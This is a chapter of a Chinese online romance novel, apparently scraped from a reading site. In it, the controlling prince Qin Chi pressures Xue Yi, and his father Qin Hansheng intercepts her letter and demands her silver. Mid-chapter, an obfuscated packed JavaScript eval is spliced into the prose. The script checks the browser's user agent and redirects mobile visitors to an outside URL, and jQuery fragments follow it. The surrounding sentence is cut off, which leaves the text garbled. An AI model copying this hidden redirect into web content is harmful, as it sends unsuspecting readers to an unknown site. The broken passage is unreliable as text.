30. 第 30 章

作品:《始乱终弃了一个疯批

    “不过是香料罢了,若是王府出不起,可以从我的私库里出。”


    薛薏放下花枝,接过一旁侍女递来的帕子净手,又示意她们将花瓶拿了下去。


    秦敕一手支着头,想看她还要装傻到什么时候。


    她对旁人的事,总是比他上心。


    王府岂能养不起一个小姑娘,香料而已,若她喜欢要星星要月亮他也去寻得。不过是他不喜欢她身边有除他以外亲近的任何人。


    王萦也是,褚清也是,凭什么得她另眼相待。若说可怜,薛薏没有泛滥的同情心,也从未怜惜他分毫。


    他不退让,退让的便只能是薛薏。


    薛薏稍稍叹气,看他砚台中墨尽了,走近替他研墨。


    案上垒了几层厚重的文书,他瞬息间落笔,便是决定一方的命运。他也没防着她,敞开放着,薛薏心思却不在上面。


    “她不会在我身边待久的。若是块材料,就让她接手我的生意。如果不是,就别处安置,你卖王家一个人情也好。”


    王家的两个女儿已经到了水火不容的地步,就是因为他们即想要王萦,又放不下王扶筝酿成了恶果。同样来说,这么优柔寡断的王家,万不会舍弃王莹。


    她也有她的打算,褚淮当初跟她对着干,丢了大半生意,褚家族老已经对他颇为不满,更觉出了有个强势的家主不全是好事,后来一力扶持脾性温和好说话的褚清上位,褚淮出走。


    褚清本无意与她相争,薛薏却打定主意稳住大后方才好向外发展,丝毫不手下留情。将褚家逼得节节败退,等褚家反应过来,再想找回褚淮的时候,人早已不见踪影。


    有人说他被隐雾山庄相中带走了,毕竟隐雾山庄一向喜欢招揽奇人异士,褚淮虽然性子不好,却是实打实的经商天才。但他具体的下落,谁也不得为知。


    再多的生意,夏安和秋绥手头的事已经忙不过来了,她有意培养新的心腹,无论怎么看王萦都是合适的选择。


    她有心往外闯,又有世家子的身份,行走闯荡都有人行方便。


    秦敕将笔搁到笔架上,伸手捏住薛薏的手腕,阻止她研墨的动作。


    眼睑微敛,墨色的眸子盯着,那么细,仿佛他稍一用力就会断掉。


    她已经在让步了,他却依旧不满足。


    他好像总算明白为什么秦寒生会对他的母亲如此苛刻,王府旧人口中的芸夫人是个娴静温婉的女子,大门不出,二门不迈,寻常只是琴棋书画,绣花点茶,又不喜出风头,甚至在贵女圈中都名不见经传。


    可能她做过最出格的事就是父母议亲的那一日,躲在屏风后面偷看了那一眼,从此走上了不归路。


    因为她等不到她的如意郎君了,本是陪伴友人来拜见的秦寒生一眼相中了她,不惜与挚友反目,也要迎娶她进门。


    而自从她进了王府的那一日,就被秦寒生占据了全部的心神。


    他笑,她就笑。他哭,她也哭。


    她不得不这样,她任何想逃离的心思都会让面前的男人发疯,日复一日芸夫人也习惯了王府的日子。


    虽然她的夫君总让她无法招架,也非她意中良配,她的如意郎君,应当是谦谦君子,温文尔雅,而不是夺友人之妻的疯子。


    但起码秦寒生的后院干净,也无人敢对她不敬,她也无心挣扎了,慢慢的,像个附属于秦寒生的死物,而秦寒生对此知情,清楚,甚至乐于见到。


    秦敕想,如果薛薏注定不爱他,那么这样也好。


    但是他舍不得,他知道薛薏会歇斯底里地反抗,不因为想她受伤,所以压抑着自己,由着她,明明她的一举一动都牵动着他的心神,却还要装出若无其事的样子。


    “薛薏,你该收收心了。”秦敕道。


    比如把她的心思多放在他身上,她想达成的野心,只能靠他。而顺理成章的,得到什么,就要付出什么。


    自古民不与官斗,薛薏应该清楚,她的生意,他只需要动动手指就能毁掉。


    一时间薛薏胸腔中憋着一股无名火,清脆的声响过后,她手中上好的徽墨掉落,摔成了两半。


    偏偏两个人都不在意。


    就算他对秦寒生再不屑,本质上他们是一类人,只不过他的手段比他怀柔些。


    一步一步将人拆解,直到再找不到曾经的自己。


    薛薏从他手中挣脱,当然不怀疑他的暗示,反应慢半拍地蹲下身,捡起已经碎掉的墨条,掉下的碎渣在她手心,黑的白的刺目。


    不能触怒他。


    从秦敕身上,久违感到了威胁的意味,薛薏才发觉自己弱小得可怜。他偏要戳破,她所能仰仗的,指望的,恰恰都是她最看不上眼的,感情。


    不敢抬头对上他的视线,薛薏只能低着头愣神,她不想被驯服。


    秦敕哪能看不出来她无声的反抗,闷声轻笑,刚到门口,已经有人替他打开了书房的门,朝里面道:“你好好考虑,在那之前,我不会再去揽云阁。”


    后面几天,他果然没再去薛薏的院子,若说之前,薛薏乐得清闲巴不得他不来,不过在她急需要一个免死金牌的时候,秦敕越是冷待她,她越是心焦。


    一方面,她不想放弃,临安永远是她的后路,只要她手里有钱,她随时都有离开的底气。另一方面,九皇子如果真的找到了薛苡,就像一把悬在她头顶的刀要坠不坠。


    “送去靖州的信儿回了吗?”


    茶水清苦,薛薏囫囵咽了一口,眼神期待看向春祺,得到的只是春祺无奈的摇头,杳无音信。


    说来也奇怪,薛苡小姐成婚也月余了,怎么都该抽出空来给家中寄信,可事实是自从薛苡出家以后,全是姑爷代笔的消息,现在更是连代笔都没了。


    春祺也不知道小姐着急问薛苡小姐的信中到底写了什么,如此着急。


    终于坐不住了,薛薏一拍桌子站起来,唤道:“更衣!”


    她得去找秦敕。


    急匆匆地跨出门槛,却看到一个熟悉的身影,坐着那个该死的轮椅,不紧不慢笑着看向她:“这么着急是要去找秦敕吗?不急,上我那儿小坐一会儿可好。”


    他好像总能精准碰到她落魄的时候,对于薛薏而言,感叹他是个灾星都不为过。


    而秦寒生说着手里晃着一个熟悉的新封,在薛薏眼前,分明是她原本寄去靖州的那一封,原本算是平淡的心情瞬间警惕。


    薛薏后退了两步,眼神疑惑,他为什么会在这里。


    脑中迅速转着,她多年前研究过,隐雾山庄,隐雾其名,谓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958428|144569||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    隐遁待时。


    她也想知道他待的是什么时。


    但是现在她好像懂了,因此神情逐渐严肃,他的目标,竟也是整个天下。


    秦敕是疯了吗和他合作?


    她不信任他。


    面对薛薏的防备,秦寒生满不在乎,用袖子掩唇轻咳两声,抬眼往四周打量了一通,最后好奇的目光停留在薛薏身后揽云阁的牌匾上。


    他许久不回王府,突然一回,果真处处都熟悉,想来秦敕是没那个心思修葺,一切都维持着多年前的模样。


    唯独薛薏住的揽云阁,每处都是秦敕亲自置办的,新奇得紧。


    之前,他还当秦敕已经无欲无求准备遁入空门了呢。


    他亲手培养出来的儿子,出类拔萃,却也桀骜不驯,需得他这个亲爹费尽心思跟他博弈。


    随后淡定地摊了摊手,自我介绍道:“薛姑娘既已嫁给秦敕,那也该称我一声父亲才对。”


    大言不惭,他言语底气十足,丝毫看不出许久之前已经和秦敕闹到不死不休的地步,如果不是薛薏之前跟他有过牵扯,怕真是要被他着模样骗过去。


    不动声色瞥了一旁的吟酒,从他脸上看出了秦寒生并没有说谎,忽然笑得讽刺,“那庄主应该听过一句话叫夫唱妇随,他都不认您了,我怎好打自家夫君的脸。”


    一句话表明了立场,秦寒生深以为意点了点头,也不强求,他是不喜欢孩子,损个儿子也没有添个女儿的想法。


    他只想让薛薏放下防备,起码目前,他们在同一条船上。


    说白了他还得感谢薛薏,如果不是她,他不能那么顺利将秦敕拉上这条船。


    慢条斯理打开了手上的新封,转移话题,“不如,我们先来解决薛姑娘的困境?”


    若不是截下了她的书信,他也不知道当年的事竟然另有隐情呢。


    秦寒生想着就觉得心情愉悦,毕竟在他看来,控制了薛薏就是控制了秦敕,薛薏不信秦敕的感情,他信啊。


    他那个冷漠无情的儿子,什么时候这么荒唐过?


    笠青推着轮椅缓缓往前走,沉默一言不发,薛薏咬了咬牙,最终选择追上去,“你要怎样?”


    “我想跟薛姑娘谈一桩生意,你将临安的三千万两白银,给我。我帮你解决九皇子,这件事儿再也不会有人知道。”


    听到他的要求,薛薏倒抽一口凉气。


    他要这么多现银干什么?


    “就算没有我,九皇子已然将晋王府视作眼中钉,肉中刺,你们早晚都要解决他。就算没有九皇子,你也知道当年的真相,我将把柄留给你要挟我一辈子吗?若不是诚信来做生意,我就先请退了。”薛薏想都没想开口拒绝道。


    秦寒生轻轻“啧”了一声,不好骗啊。


    病急还乱投医呢,他以为这个时候朝薛薏提出帮助,她一定会同意的。除非她还有想直接跟秦敕摊牌的打算。人心难测,虽然可能性小,但也并非全无可能。


    如此思忖,他当然要绝了她这个心思。


    “那薛姑娘就小心谨慎瞒着好了。”懒懒瞥过去一眼,落在薛薏平坦的小腹上,知道她一直在喝坐胎药,继续道:“是药三分毒,薛姑娘也少喝。你们夫妻俩逆向着使劲儿,没可能的事,何必强求。”